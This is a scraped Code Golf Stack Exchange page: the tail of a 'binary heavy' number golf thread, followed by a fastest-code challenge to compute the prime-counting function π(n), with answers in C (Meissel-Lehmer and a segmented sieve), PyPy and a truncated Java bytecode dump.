online!](https://tio.run/##K/r/PzexQqM8IzM5Q8PJRjczryQk3ymzpFijODkxT0NT085AU1PfyKa4NFfDSfO/saHZfwA "R – Try It Online") ``` intToBits(scan()) # converts to bits B<- >0 # make logical and assign to B max(which( ))/2 # get the length of the trimmed binary and halve <sum(B) # test against the sum of bits ``` [Answer] # Julia, 22 bytes ``` x->2*x<4^count_ones(x) ``` [Answer] # Pyth, ~~9~~ 7 bytes ``` ehc2S.B ``` [Try it here.](http://pyth.herokuapp.com/?code=ehc2S.B&input=2147483648&debug=0) -2 thanks to [FryAmTheEggman](https://codegolf.stackexchange.com/users/31625/fryamtheeggman). [Answer] # R, ~~39~~ 37 bytes ``` sum(intToBits(x<-scan())>0)>2+log2(x) ``` This is a combination of the methods used by @MickyT and @Giuseppe, saving another few bytes. `sum(intToBits(x) > 0)` counts the amount of `1` bits, and `2+log2(x)/2` is half of the total amount of bits, when rounded down. We don't have to round down because of the behaviour when the two values are equal. [Answer] # [C# (.NET Core)](https://www.microsoft.com/net/core/platform), ~~62~~, 49 bytes Without LINQ. EDIT: dana with a -13 byte golf changing the while to a recursive for and returning a bool instead of integer. ``` x=>{int j=0;for(;x>0;x/=2)j+=x%2*2-1;return j>0;} ``` [Try it online!](https://tio.run/##hc7PC4IwFAfwu3/FuwTaD9NpGqx5CToVBB06z7liYltsM4zwbzele@MdHrzPl/ceMyumNB9aI@QdLm9j@QN7rKHGwFmru6aPjwfwbMtGMDCW2rG9lKjgRIX0gwkBDq1kOyHtslSqKaACMnSk@IwTqEmEb0r7uCsi3K0JCuoF6WZojlYx1ty2WkI9Uj9g73c@3CtpVMPDqxaWH4XkfuXHQfDXkcNTh28cnkWOQBJnrhWJ60kUp3m6TbI0n4JeP9bwBQ "C# (.NET Core) – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 6 bytes ``` Bµċ0<S ``` [Try it online!](https://tio.run/##y0rNyan8/9/p0NYj3QY2wf///zcyNDE3sTA2M7EAAA "Jelly – Try It Online") [Answer] # [Rust](https://www.rust-lang.org/), 30 bytes ``` |x:u64|x<1<<2*x.count_ones()-1 ``` [Try it online!](https://tio.run/##TY3fCoIwHEbvfYovL2SLX9F0TSl7koiIcDCwGTphoHv2ZX8uOleHjw9OPw4uaovHzVjGMSVYaBsHfYqzP4xKzr4WdZ2v/fbejdZdO9sMjG9EPH6@uuuReRiL7CwIOUES9gS1IxRCLVIsWy5kKatCyfLPq8uv9@bZG@tau2LpFDCFlOAJmnnOv52QhPgC "Rust – Try It Online") [Answer] # [J](https://jsoftware.com), 12 bytes ``` (+/>-:@#)@#: ``` J executes verbs right-to-left, so let's start at the end and work our way towards the beginning. **Explanation** ``` #: NB. Convert input to list of bits -:@# NB. Half (-:) the (@) length (#) > NB. Greater than +/ NB. Sum (really plus (+) reduce (/) ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 4 bytes Returns 1 if binary heavy, 0 otherwise ``` b.MW ``` [Try it online!](https://tio.run/##MzBNTDJM/f8/Sc83/P9/M2MjAA "05AB1E – Try It Online") ``` b Convert to binary .M Push a list of most frequent chars (contains 0 and 1 in case of a tie) W Push the lowest value from the list Implicit output ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 4 bytes ``` bĊ↑h ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyJBIiwiIiwiYsSK4oaRaCIsIiIsIjFcbjJcbjRcbjUiXQ==) ### Explained ``` bĊ↑h b # binary Ċ↑h # most values outputted, if tie then 0 ``` [Answer] # [Octave](https://www.gnu.org/software/octave/), 26 bytes ``` @(a)sum(2*dec2bin(a)-97)>0 ``` [Try it online!](https://tio.run/##y08uSSxL/Z@mYKugp6f330EjUbO4NFfDSCslNdkoKTMPyNe1NNe0M/ifWFSUWJlWmqeRpqMQbaijYKSjYKKjYKqjYGago2BsaAZkGAPFjAxNzE0sjM1MzJHYFrGa/wE "Octave – Try It Online") ]
[Question] [ [π(*n*)](https://oeis.org/A000720) is the number of primes less than or equal to *n*. **Input:** a natural number, *n*. **Output:** π(n). **Scoring:** This is a [fastest-code](/questions/tagged/fastest-code "show questions tagged 'fastest-code'") challenge. Score will be the sum of times for the score cases. I will time each entry on my computer. **Rules and Details** * Your code should work for *n* up to 2 billion ( 2,000,000,000 ). * Built-ins that trivialize this are not allowed. This includes built in π functions or lists of values for π(*n*). * Built-ins that test primality or generate primes are not allowed. This includes lists of primes, which may not be looked up externally or hardcoded locally, except with regards to the next bullet point. * You may hardcode primes up to and including 19 and no higher. * your implementation of π should be deterministic. This means that given a specific *n*, your code should run in (approximately) the same amount of time. * Languages used must be freely available on Linux (Centos 7). Instructions should be included on how to run your code. Include compiler/interpreter details if necessary. * Official times will be from my computer. * When posting, please include a self-measured time on some/all of the test/score cases, just to give me an estimate of how fast your code is running. * Submissions must fit in an answer post to this question. * I am running 64bit centos7. I only have 8GB of RAM and 1GB swap. The cpu model is: AMD FX(tm)-6300 Six-Core Processor. **Test cases([source](http://sweet.ua.pt/tos/primes.html)):** ``` Input Output 90 24 3000 430 9000 1117 4000000 283146 <--- input = 4*10^6 800000000 41146179 <--- input = 9*10^8 1100000000 55662470 <--- input = 1.1*10^9 ``` **Score Cases ([same source](http://sweet.ua.pt/tos/primes.html))** As usual, these cases are subject to change. Optimizing for the scoring cases is not permitted. I may also change the number of cases in an effort to balance reasonable run times and accurate results. ``` Input Output 1907000000 93875448 <--- input = 1.907*10^9 1337000000 66990613 <--- input = 1.337*10^9 1240000000 62366021 <--- input = 1.24*10^9 660000000 34286170 <--- input = 6.6*10^8 99820000 5751639 <--- input = 9.982*10^7 40550000 2465109 <--- input = 4.055*10^7 24850000 1557132 <--- input = 2.485*10^7 41500 4339 ``` **Duration** Since this is a [fastest-code](/questions/tagged/fastest-code "show questions tagged 'fastest-code'") challenge and entries are to be run on my computer, I reserve the right to stop timing entries after 2 weeks. After this point, entries are still accepted, but there is no guarantee that they are officially timed. *Having said this,* I don't expect too many answers to this challenge and I will likely continue to time new answers indefinitely. **Scoring Particulars** I timed the faster entries with the following script: ``` #!/bin/bash a=(1907000000 1337000000 1240000000 660000000 99820000 40550000 24850000 41500) echo DennisC exec 2>> times/dennisc.txt time for j in ${a[@]}; do ./dennisc $j; done >> /dev/null; echo DennisPy exec 2>> times/dennispy.txt time for j in ${a[@]}; do pypy dennispy.py <<< $j; done >> /dev/null; echo arjandelumens exec 2>> times/arjandelumens.txt time for j in ${a[@]}; do ./arjandelumens $j; done >> /dev/null; echo orlp exec 2>> times/orlp.txt time for j in ${a[@]}; do ./orlp $j; done >> /dev/null; # echo mwr247 # time node-v4.3.1-linux-x64/bin/node mwr247.js # mwr247 using js seems a bit longer, so I am going to run the fastest # and then come back to his. # mwr247 provided a function, so I appended # console.log( F( <argument> ) ) # to his code, for each argument. ``` `time` writes to `stderr`, so I sent `stderr` to a log file using `exec 2 >> <filename>`. You may notice that `stdout` is sent to `/dev/null`. This isn't a problem, because I already verified that the programs were producing the correct output. I ran the above `timeall.sh` script 10 times using `for i in {1..10}; do ./timeall.sh; done;` I then averaged the `real time` score for each entry. Note that no other programs were running on my computer while timing. Also, the official times have been appended to each entry. Please double check your own average. [Answer] # C, 0.026119s (Mar 12 2016) ``` #include <math.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define cache_size 16384 #define Phi_prec_max (47 * a) #define bit(k) (1ULL << ((k) & 63)) #define word(k) sieve[(k) >> 6] #define sbit(k) ((word(k >> 1) >> (k >> 1)) & 1) #define ones(k) (~0ULL >> (64 - (k))) #define m2(k) ((k + 1) / 2) #define max(a, b) ((a) > (b) ? (a) : (b)) #define min(a, b) ((a) < (b) ? (a) : (b)) #define ns(t) (1000000000 * t.tv_sec + t.tv_nsec) #define popcnt __builtin_popcountll #define mask_build(i, p, o, m) mask |= m << i, i += o, i -= p * (i >= p) #define Phi_prec_bytes ((m2(Phi_prec_max) + 1) * sizeof(int16_t)) #define Phi_prec(i, j) Phi_prec_pointer[(j) * (m2(Phi_prec_max) + 1) + (i)] #define Phi_6_next ((i / 1155) * 480 + Phi_5[i % 1155] - Phi_5[(i + 6) / 13]) #define Phi_6_upd_1() t = Phi_6_next, i += 1, *(l++) = t #define Phi_6_upd_2() t = Phi_6_next, i += 2, *(l++) = t, *(l++) = t #define Phi_6_upd_3() t = Phi_6_next, i += 3, *(l++) = t, *(l++) = t, *(l++) = t typedef unsigned __int128 uint128_t; struct timespec then, now; uint64_t a, primes[4648] = { 2, 3, 5, 7, 11, 13, 17, 19 }, *primes_fastdiv; uint16_t *Phi_6, *Phi_prec_pointer; static inline uint64_t Phi_6_mod(uint64_t y) { if (y < 30030) return Phi_6[m2(y)]; else return (y / 30030) * 5760 + Phi_6[m2(y % 30030)]; } static inline uint64_t fastdiv(uint64_t dividend, uint64_t fast_divisor) { return ((uint128_t) dividend * fast_divisor) >> 64; } uint64_t Phi(uint64_t y, uint64_t c) { uint64_t *d = primes_fastdiv, i = 0, r = Phi_6_mod(y), t = y / 17; r -= Phi_6_mod(t), t = y / 19; while (i < c && t > Phi_prec_max) r -= Phi(t, i++), t = fastdiv(y, *(d++)); while (i < c && t) r -= Phi_prec(m2(t), i++), t = fastdiv(y, *(d++)); return r; } uint64_t Phi_small(uint64_t y, uint64_t c) { if (!c--) return y; return Phi_small(y, c) - Phi_small(y / primes[c], c); } uint64_t pi_small(uint64_t y) { uint64_t i, r = 0; for (i = 0; i < 8; i++) r += (primes[i] <= y); for (i = 21; i <= y; i += 2) r += i % 3 && i % 5 && i % 7 && i % 11 && i % 13 && i % 17 && i % 19; return r; } int output(int result) { clock_gettime(CLOCK_REALTIME, &now); printf("pi(x) = %9d real time:%9ld ns\n", result , ns(now) - ns(then)); return 0; } int main(int argc, char *argv[]) { uint64_t b, i, j, k, limit, mask, P2, *p, start, t = 8, x = atoi(argv[1]); uint64_t root2 = sqrt(x), root3 = pow(x, 1./3), top = x / root3 + 1; uint64_t halftop = m2(top), *sieve, sieve_length = (halftop + 63) / 64; uint64_t i3 = 1, i5 = 2, i7 = 3, i11 = 5, i13 = 6, i17 = 8, i19 = 9; uint16_t Phi_3[] = { 0, 1, 1, 1, 2, 2, 3, 4, 4, 5, 6, 6, 7, 7, 7, 8 }; uint16_t *l, *m, Phi_4[106], Phi_5[1156]; clock_gettime(CLOCK_REALTIME, &then); sieve = malloc(sieve_length * sizeof(int64_t)); if (x < 529) return output(pi_small(x)); for (i = 0; i < sieve_length; i++) { mask = 0; mask_build( i3, 3, 2, 0x9249249249249249ULL); mask_build( i5, 5, 1, 0x1084210842108421ULL); mask_build( i7, 7, 6, 0x8102040810204081ULL); mask_build(i11, 11, 2, 0x0080100200400801ULL); mask_build(i13, 13, 1, 0x0010008004002001ULL); mask_build(i17, 17, 4, 0x0008000400020001ULL); mask_build(i19, 19, 12, 0x0200004000080001ULL); sieve[i] = ~mask; } limit = min(halftop, 8 * cache_size); for (i = 21; i < root3 + 1; i += 2) if (sbit(i)) for (primes[t++] = i, j = i * i / 2; j < limit; j += i) word(j) &= ~bit(j); a = t; for (i = (root3 + 1) | 1; i < root2 + 1; i += 2) if (sbit(i)) primes[t++] = i; b = t; while (limit < halftop) { start = 2 * limit + 1, limit = min(halftop, limit + 8 * cache_size); for (p = &primes[8]; p < &primes[a]; p++) for (j = max(start / *p | 1, *p) * *p / 2; j < limit; j += *p) word(j) &= ~bit(j); } P2 = (a - b) * (a + b - 1) / 2; for (i = m2(root2); b --> a; P2 += t, i = limit) { limit = m2(x / primes[b]), j = limit & ~63; if (i < j) { t += popcnt((word(i)) >> (i & 63)), i = (i | 63) + 1; while (i < j) t += popcnt(word(i)), i += 64; if (i < limit) t += popcnt(word(i) & ones(limit - i)); } else if (i < limit) t += popcnt((word(i) >> (i & 63)) & ones(limit - i)); } if (a < 7) return output(Phi_small(x, a) + a - 1 - P2); a -= 7, Phi_6 = malloc(a * Phi_prec_bytes + 15016 * sizeof(int16_t)); Phi_prec_pointer = &Phi_6[15016]; for (i = 0; i <= 105; i++) Phi_4[i] = (i / 15) * 8 + Phi_3[i % 15] - Phi_3[(i + 3) / 7]; for (i = 0; i <= 1155; i++) Phi_5[i] = (i / 105) * 48 + Phi_4[i % 105] - Phi_4[(i + 5) / 11]; for (i = 1, l = Phi_6, *l++ = 0; i <= 15015; ) { Phi_6_upd_3(); Phi_6_upd_2(); Phi_6_upd_1(); Phi_6_upd_2(); Phi_6_upd_1(); Phi_6_upd_2(); Phi_6_upd_3(); Phi_6_upd_1(); } for (i = 0; i <= m2(Phi_prec_max); i++) Phi_prec(i, 0) = Phi_6[i] - Phi_6[(i + 8) / 17]; for (j = 1, p = &primes[7]; j < a; j++, p++) { i = 1, memcpy(&Phi_prec(0, j), &Phi_prec(0, j - 1), Phi_prec_bytes); l = &Phi_prec(*p / 2 + 1, j), m = &Phi_prec(m2(Phi_prec_max), j) - *p; while (l <= m) for (k = 0, t = Phi_prec(i++, j - 1); k < *p; k++) *(l++) -= t; t = Phi_prec(i++, j - 1); while (l <= m + *p) *(l++) -= t; } primes_fastdiv = malloc(a * sizeof(int64_t)); for (i = 0, p = &primes[8]; i < a; i++, p++) { t = 96 - __builtin_clzll(*p); primes_fastdiv[i] = (bit(t) / *p + 1) << (64 - t); } return output(Phi(x, a) + a + 6 - P2); } ``` This uses the [Meissel-Lehmer method](https://en.wikipedia.org/wiki/Meissel%E2%80%93Lehmer_algorithm). ## Timings On my machine, I'm getting roughly **5.7 milliseconds** for the combined test cases. This is on an Intel Core i7-3770 with DDR3 RAM at 1867 MHz, running openSUSE 13.2. ``` $ ./timepi '-march=native -O3' pi 1000 pi(x) = 93875448 real time: 2774958 ns pi(x) = 66990613 real time: 2158491 ns pi(x) = 62366021 real time: 2023441 ns pi(x) = 34286170 real time: 1233158 ns pi(x) = 5751639 real time: 384284 ns pi(x) = 2465109 real time: 239783 ns pi(x) = 1557132 real time: 196248 ns pi(x) = 4339 real time: 60597 ns 0.00572879 s ``` Because [the variance got too high](http://meta.codegolf.stackexchange.com/a/8671), I'm using timings from within the program for the unofficial run times. This is the script that computed the average of the combined run times. ``` #!/bin/bash all() { for j in ${a[@]}; do ./$1 $j; done; } gcc -Wall $1 -lm -o $2 $2.c a=(1907000000 1337000000 1240000000 660000000 99820000 40550000 24850000 41500) all $2 r=$(seq 1 $3) for i in $r; do all $2; done > times awk -v it=$3 '{ sum += $6 } END { print "\n" sum / (1e9 * it) " s" }' times rm times ``` ### Official times This time is for doing the score cases 1000 times. ``` real 0m28.006s user 0m15.703s sys 0m14.319s ``` ## How it works ### Formula Let \$x\$ be a positive integer. Each positive integer \$n \le x\$ satisfies exactly one of the following conditions. 1. \$n = 1\$ 2. \$n\$ is divisible by a prime number \$p\$ in \$[1, \sqrt[3]{x}]\$. 3. \$n = pq\$, where \$p\$ and \$q\$ are (not necessarily distinct) prime numbers in \$(\sqrt[3]{x}, \sqrt[3]{x^2})\$. 4. \$n\$ is prime and \$n > \sqrt[3]{x}\$ Let \$\pi(y)\$ denote the number of primes \$p\$ such that \$p \le y\$. There are \$\pi(x) - \pi(\sqrt[3]{x})\$ numbers that fall in the fourth category. Let \$P\_k(y, c)\$ denote the amount of positive integers \$m \le y\$ that are a product of exactly \$k\$ prime numbers not among the first \$c\$ prime numbers. There are \$P\_2(x, \pi(\sqrt[3]{x}))\$ numbers that fall in the third category. Finally, let \$\phi(y, c)\$ denote the amount of positive integers \$k \le y\$ that are coprime to the first \$c\$ prime numbers. There are \$x - \phi(x, \pi(\sqrt[3]{x}))\$ numbers that fall into the second category. Since there are \$x\$ numbers in all categories, $$1 + x - \phi(x, \pi(\sqrt[3]{x})) + P\_2(x, \pi(\sqrt[3]{x})) + \pi(x) - \pi(\sqrt[3]{x}) = x$$ and, therefore, $$\pi(x) = \phi(x, \pi(\sqrt[3]{x})) + \pi(\sqrt[3]{x}) - 1 - P\_2(x, \pi(\sqrt[3]{x}))$$ The numbers in the third category have a unique representation if we require that \$p \le q\$ and, therefore \$p \le \sqrt{x}\$. This way, the product of the primes \$p\$ and \$q\$ is in the third category if and only if \$\sqrt[3]{x} < p \le q \le \frac{x}{p}\$, so there are \$\pi(\frac{x}{p}) - \pi(p) + 1\$ possible values for \$q\$ for a fixed value of \$p\$, and \$P\_2(x, \pi(\sqrt[3]{x})) = \sum\_{\pi(\sqrt[3]{x}) < k \le \pi(\sqrt{x})} (\pi(\frac{x}{p\_k}) - \pi(p\_k) + 1)\$, where \$p\_k\$ denotes the \$k^{\text{th}}\$ prime number. Finally, every positive integer \$n \le y\$ that is *not* coprime to the first \$c\$ prime numbers can be expressed in unique fashion as \$n = p\_kf\$, where \$p\_k\$ is the lowest prime factor of \$n\$. This way, \$k \le c\$, and \$f\$ is coprime to the first \$k - 1\$ primes numbers. This leads to the recursive formula \$\phi(y, c) = y - \sum\_{1 \le k \le c} \phi(\frac{y}{p\_k}, k - 1)\$. In particular, the sum is empty if \$c = 0\$, so \$\phi(y, 0) = y\$. We now have a formula that allows us to compute \$\pi(x)\$ by generating only the first \$\pi(\sqrt[3]{x^2})\$ prime numbers (millions vs billions). ### Algorithm We'll need to compute \$\pi(\frac{x}{p})\$, where \$p\$ can get as low as \$\sqrt[3]{x}\$. While there are other ways to do this (like applying our formula recursively), the fastest way seems to be to enumerate all primes up to \$\sqrt[3]{x^2}\$, which can be done with the sieve of Eratosthenes. First, we identify and store all prime numbers in \$[1, \sqrt{x}]\$, and compute \$\pi(\sqrt[3]{x})\$ and \$\pi(\sqrt{x})\$ at the same time. Then, we compute \$\frac{x}{p\_k}\$ for all \$k\$ in \$(\pi(\sqrt[3]{x}), \pi(\sqrt{x})]\$, and count the primes up to each successive quotient. Also, \$\sum\_{\pi(\sqrt[3]{x}) < k \le \pi(\sqrt{x})} (-\pi(p\_k) + 1)\$ has the closed form \$\frac{\pi(\sqrt[3]{x}) - \pi(\sqrt{x}))(\pi(\sqrt[3]x) + \pi(\sqrt{x}) - 1}{2}\$, which allows us to complete the computation of \$P\_2(x, \pi(\sqrt[3]{x}))\$. That leaves the computation of \$\phi\$, which is the most expensive part of the algorithm. Simply using the recursive formula would require \$2^c\$ function calls to compute \$\phi(y, c)\$. First of all, \$\phi(0, c) = 0\$ for all values of \$c\$, so \$\phi(y, c) = y - \sum\_{1 \le k \le c, p\_k \le y} \phi(\frac{y}{p\_k}, k - 1)\$. By itself, this observation is already enough to make the computation feasible. This is because any number below \$2 \cdot 10^9\$ is smaller than the product of any ten distinct primes, so the overwhelming majority of summands vanishes. Also, by grouping \$y\$ and the first \$c'\$ summands of the definition of \$\phi\$, we get the alternative formula \$\phi(y, c) = \phi(y, c') - \sum\_{c' < k \le c, p\_k \le y} \phi(\frac{y}{p\_k}, k - 1)\$. Thus, precomputing \$\phi(y, c')\$ for a fixed \$c'\$ and appropriate values of \$y\$ saves most of the remaining function calls and the associated computations. If \$m\_c = \prod\_{1 \le k \le c} p\_k\$, then \$\phi(m\_c, c) = \varphi(m\_c)\$, since the integers in \$[1, m\_c]\$ that are divisible by none of \$p\_1, \cdots, p\_c\$ are precisely those that are coprime to \$m\_c\$. Also, since \$\gcd(z + m\_c, m\_c) = \gcd(z, m\_c)\$, we have that \$\phi(y, c) = \phi(\lfloor \frac{y}{m\_c} \rfloor m\_c, c) + \phi(y % m\_c, c) = \lfloor \frac{y}{m\_c} \rfloor \varphi(m\_c) + \phi(y % m\_c, c)\$. Since Euler's totient function is multiplicative, \$\varphi(m\_c) = \prod\_{1 \le k \le c} \varphi(p\_k) = \prod\_{1 \le k \le c} (p\_k - 1)\$, and we have an easy way to derive \$\phi(y, c)\$ for all \$y\$ by precomputing the values for only those \$y\$ in \$[0, m\_c)\$. Also, if we set \$c' = c - 1\$, we obtain \$\phi(y, c) = \phi(y, c - 1) - \phi(\frac{y}{p\_c}, c - 1)\$, the original definition from Lehmer's paper. This gives us a simple way to precompute \$\phi(y, c)\$ for increasing values of \$c\$. In addition for precomputing \$\phi(y, c)\$ for a certain, low value of \$c\$, we'll also precompute it for low values of \$y\$, cutting the recursion short after falling below a certain threshold. ### Implementation The previous section covers most parts of the code. One remaining, important detail is how the divisions in the function `Phi` are performed. Since computing \$\phi\$ only requires dividing by the first \$\pi(\sqrt[3]{x})\$ prime numbers, we can use the `fastdiv` function instead. Rather than simply dividing an \$y\$ by a prime \$p\$, we multiply \$y\$ by \$d\_p \approx \frac{2^{64}}{p}\$ instead and recover \$\frac{y}{p}\$ as \$\frac{d\_py}{2^{64}}\$. Because of how integer multiplication is implemented on **x64**, dividing by \$2^{64}\$ is not required; the higher 64 bits of \$d\_py\$ are stored in their own register. Note that this method requires precomputing \$d\_p\$, which isn't faster than computing \$\frac{y}{p}\$ directly. However, since we have to divide by the same primes over and over again and division is *so much slower* than multiplication, this results in an important speed-up. More details on this algorithm, as well as a formal proof, can be found in [Division by Invariant Integers using Multiplication](https://gmplib.org/%7Etege/divcnst-pldi94.pdf). [Answer] # C99/C++, 8.9208s (28 Feb 2016) ``` #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> uint64_t popcount( uint64_t v ) { v = (v & 0x5555555555555555ULL) + ((v>>1) & 0x5555555555555555ULL); v = (v & 0x3333333333333333ULL) + ((v>>2) & 0x3333333333333333ULL); v = (v & 0x0F0F0F0F0F0F0F0FULL) + ((v>>4) & 0x0F0F0F0F0F0F0F0FULL); v *= 0x0101010101010101ULL; return v >> 56; } #define PPROD 3*5*7 int primecount( int limit ) { int i,j; int reps = (limit-1)/(64*PPROD) + 1; int mod_limit = reps * (64*PPROD); int seek_limit = (int)ceil( sqrt(limit) ); int primecount = 0; int slice_count = limit/250000 + 1; uint8_t *buf = (uint8_t *)malloc( mod_limit/8 + seek_limit); int *primes = (int *)malloc(seek_limit*sizeof(int)); // initialize a repeating bit-pattern to fill our sieve-memory with uint64_t v[PPROD]; memset(v, 0, sizeof(v) ); for(i=0;i<(64*PPROD);i++) for(j=2;j<=7;j++) if( i % j == 0 ) v[ i >> 6 ] |= 1ULL << (i & 0x3F); for(i=0; i<reps; i++) memcpy( buf + 8*PPROD*i, v, 8*PPROD ); // use naive E-sieve to get hold of all primes to test for for(i=11;i<seek_limit;i+=2) { if( (buf[i >> 3] & (1 << (i & 7)) ) == 0 ) { primes[primecount++] = i; for(j=3*i;j<seek_limit;j += 2*i ) buf[j >> 3] |= (1 << (j&7) ); } } // fill up whole E-sieve. Use chunks of about 30 Kbytes // so that the chunk of E-sieve we're working on // can fit into the L1-cache. for(j=0;j<slice_count;j++) { int low_bound = ((uint64_t)limit * j) / slice_count; int high_bound = ((uint64_t)limit * (j+1)) / slice_count - 1; for(i=0;i<primecount;i++) { int pm = primes[i]; // compute the first odd multiple of pm that is larger than or equal // to the lower bound. uint32_t lb2 = (low_bound + pm - 1) / pm; lb2 |= 1; if( lb2 < 3 ) lb2 = 3; lb2 *= pm; uint32_t hb2 = (high_bound / pm) * pm; uint32_t kt1 = ((lb2 + 2*pm) >> 3) - (lb2 >> 3); uint32_t kt2 = ((lb2 + 4*pm) >> 3) - (lb2 >> 3); uint32_t kt3 = ((lb2 + 6*pm) >> 3) - (lb2 >> 3); uint32_t kx0 = 1 << (lb2 & 7); uint32_t kx1 = 1 << ((lb2 + 2*pm) & 7); uint32_t kx2 = 1 << ((lb2 + 4*pm) & 7); uint32_t kx3 = 1 << ((lb2 + 6*pm) & 7); uint8_t *lb3 = buf + (lb2 >> 3); uint8_t *hb3 = buf + (hb2 >> 3); uint8_t *kp; for(kp=lb3; kp<=hb3; kp+=pm) { kp[0] |= kx0; kp[kt1] |= kx1; kp[kt2] |= kx2; kp[kt3] |= kx3; } } } // flag tail elements to exclude them from prime-counting. for(i=limit;i<mod_limit;i++) buf[i >> 3] |= 1 << (i&7); int sum = 0; uint64_t *bufx = (uint64_t *)buf; for(i=0;i<mod_limit>>6;i++) sum += popcount( bufx[i] ); free(buf); free(primes); return mod_limit - sum + 3; } int main( int argc, char **argv) { if( argc != 2 ) { printf("Please provide an argument\n"); exit(1); } int limit = atoi( argv[1] ); if( limit < 3 || limit > 2000000000 ) { printf("Argument %d out of range\n", limit ); exit(1); } printf("%d\n", primecount(limit) ); } ``` A bitmap-based sieve-of-erastothenes implementation. It performs the following steps: 1. First, generate a repeating bit-pattern to fill the sieve with, that covers multiples of 2,3,5,7 2. Next, use the sieve method to generate an array of all primes smaller than sqrt(n) 3. Next, use the prime list from the previous step to write into the sieve. This is done on chunks of the sieve that are approximately L1-cache-sized, so that the sieve processing doesn't constantly thrash the L1 cache; this seems to bring about a 5x speedup over not chunking. 4. Finally, perform a bit-count. Compiled with `gcc primecount.c -O3 -lm -Wall` and run on ubuntu 15.10 (64-bit) on an i7-4970k, it takes about 2.2 seconds for the full set of score cases. The running time is dominated by step 3; this could be multithreaded if desired, since the chunks are independent; this would require some care to ensure that chunk boundaries are suitably aligned. It allocates slightly more memory than strictly needed for the sieve; this makes room for some end-of-buffer overrun, which is necessary for the loop unrolling in step 3 to work properly. **Official times** ``` real 0m8.934s user 0m8.795s sys 0m0.150s real 0m8.956s user 0m8.818s sys 0m0.150s real 0m8.907s user 0m8.775s sys 0m0.145s real 0m8.904s user 0m8.775s sys 0m0.141s real 0m8.902s user 0m8.783s sys 0m0.132s real 0m9.087s user 0m8.923s sys 0m0.176s real 0m8.905s user 0m8.778s sys 0m0.140s real 0m9.005s user 0m8.859s sys 0m0.158s real 0m8.911s user 0m8.789s sys 0m0.135s real 0m8.907s user 0m8.781s sys 0m0.138s ``` [Answer] # Python 2 (PyPy 4.0), 2.36961s (Feb 29 2016) ``` def Phi(m, b): if not b: return m if not m: return 0 if m >= 800: return Phi(m, b - 1) - Phi(m // primes[b - 1], b - 1) t = b * 800 + m if not Phi_memo[t]: Phi_memo[t] = Phi(m, b - 1) - Phi(m // primes[b - 1], b - 1) return Phi_memo[t] x = int(input()) if x < 6: print [0, 0, 1, 2, 2, 3][x] exit() root2 = int(x ** (1./2)) root3 = int(x ** (1./3)) top = x // root3 + 1 sieve = [0, 0] + [1] * (top - 2) pi = [0, 0] primes = [] t = 0 for i in range(2, top): if sieve[i] == 1: t += 1 primes.append(i) sieve[i::i] = [0] * len(sieve[i::i]) pi.append(t) a, b = pi[root3 + 1], pi[root2 + 1] Phi_memo = [0] * ((a + 1) * 800) print Phi(x, a) + a - 1 - sum(pi[x // p] - pi[p] + 1 for p in primes[a:b]) ``` This uses the Meissel-Lehmer method. ### Timings ``` $ time for i in 1.907e9 1.337e9 1.24e9 6.6e8 9.982e7 4.055e7 2.485e7 41500 > do pypy pi.py <<< $i; done 93875448 66990613 62366021 34286170 5751639 2465109 1557132 4339 real 0m1.696s user 0m1.360s sys 0m0.332s ``` **Official times** Since there was another answer with a similar time, I opted to get more precise results. I timed this 100 times. The score is the following time divided by 100. ``` real 3m56.961s user 3m38.802s sys 0m18.512s ``` [Answer] # Java, 25,725.315 seconds on [this machine](https://ide.c9.io/vtcakavsmoace/code-golf) *This is not going to win*, I just wanted to post an answer that does not use any sieves. **UPDATE:** This is currently ranked at about 150,440.4386 times slower than the leading score. Go up-vote them, their answer is awesome. Byte code: ``` 0000000: cafe babe 0000 0034 0030 0a00 0900 1709 .......4.0...... 0000010: 0018 0019 0a00 1a00 1b0a 0008 001c 0a00 ................ 0000020: 1d00 1e0a 0008 001f 0a00 2000 2107 0022 .......... .!.." 0000030: 0700 2301 0006 3c69 6e69 743e 0100 0328 ..#...<init>...( 0000040: 2956 0100 0443 6f64 6501 000f 4c69 6e65 )V...Code...Line 0000050: 4e75 6d62 6572 5461 626c 6501 0004 6d61 NumberTable...ma 0000060: 696e 0100 1628 5b4c 6a61 7661 2f6c 616e in...([Ljava/lan 0000070: 672f 5374 7269 6e67 3b29 5601 0008 6e75 g/String;)V...nu 0000080: 6d50 7269 6d65 0100 0428 4929 4901 000d mPrime...(I)I... 0000090: 5374 6163 6b4d 6170 5461 626c 6501 0007 StackMapTable... 00000a0: 6973 5072 696d 6501 0004 2849 295a 0100 isPrime...(I)Z.. 00000b0: 0a53 6f75 7263 6546 696c 6501 0006 452e .SourceFile...E. 00000c0: 6a61 7661 0c00 0a00 0b07 0024 0c00 2500 java.......$..%. 00000d0: 2607 0027 0c00 2800 290c 0010 0011 0700 &..'..(.)....... 00000e0: 2a0c 002b 002c 0c00 1300 1407 002d 0c00 *..+.,.......-.. 00000f0: 2e00 2f01 0001 4501 0010 6a61 7661 2f6c ../...E...java/l 0000100: 616e 672f 4f62 6a65 6374 0100 106a 6176 ang/Object...jav 0000110: 612f 6c61 6e67 2f53 7973 7465 6d01 0003 a/lang/System... 0000120: 6f75 7401 0015 4c6a 6176 612f 696f 2f50 out...Ljava/io/P 0000130: 7269 6e74 5374 7265 616d 3b01 0011 6a61 rintStream;...ja 0000140: 7661 2f6c 616e 672f 496e 7465 6765 7201 va/lang/Integer. 0000150: 0008 7061 7273 6549 6e74 0100 1528 4c6a ..parseInt...(Lj 0000160: 6176 612f 6c61 6e67 2f53 7472 696e 673b ava/lang/String; 0000170: 2949 0100 136a 6176 612f 696f 2f50 7269 )I...java/io/Pri 0000180: 6e74 5374 7265 616d 0100 0770 7269 6e74 ntStream...print 0000190: 6c6e 0100 0428 4929 5601 000e 6a61 7661 ln...(I)V...java 00001a0: 2f6c 616e 672f 4d61 7468 0100 0473 7172 /lang/Math...sqr 00001b0: 7401 0004 2844 2944 0021 0008 0009 0000 t...(D)D.!...... 00001c0: 0000 0004 0001 000a 000b 0001 000c 0000 ................ 00001d0: 001d 0001 0001 0000 0005 2ab7 0001 b100 ..........*..... 00001e0: 0000 0100 0d00 0000 0600 0100 0000 0100 ................ 00001f0: 0900 0e00 0f00 0100 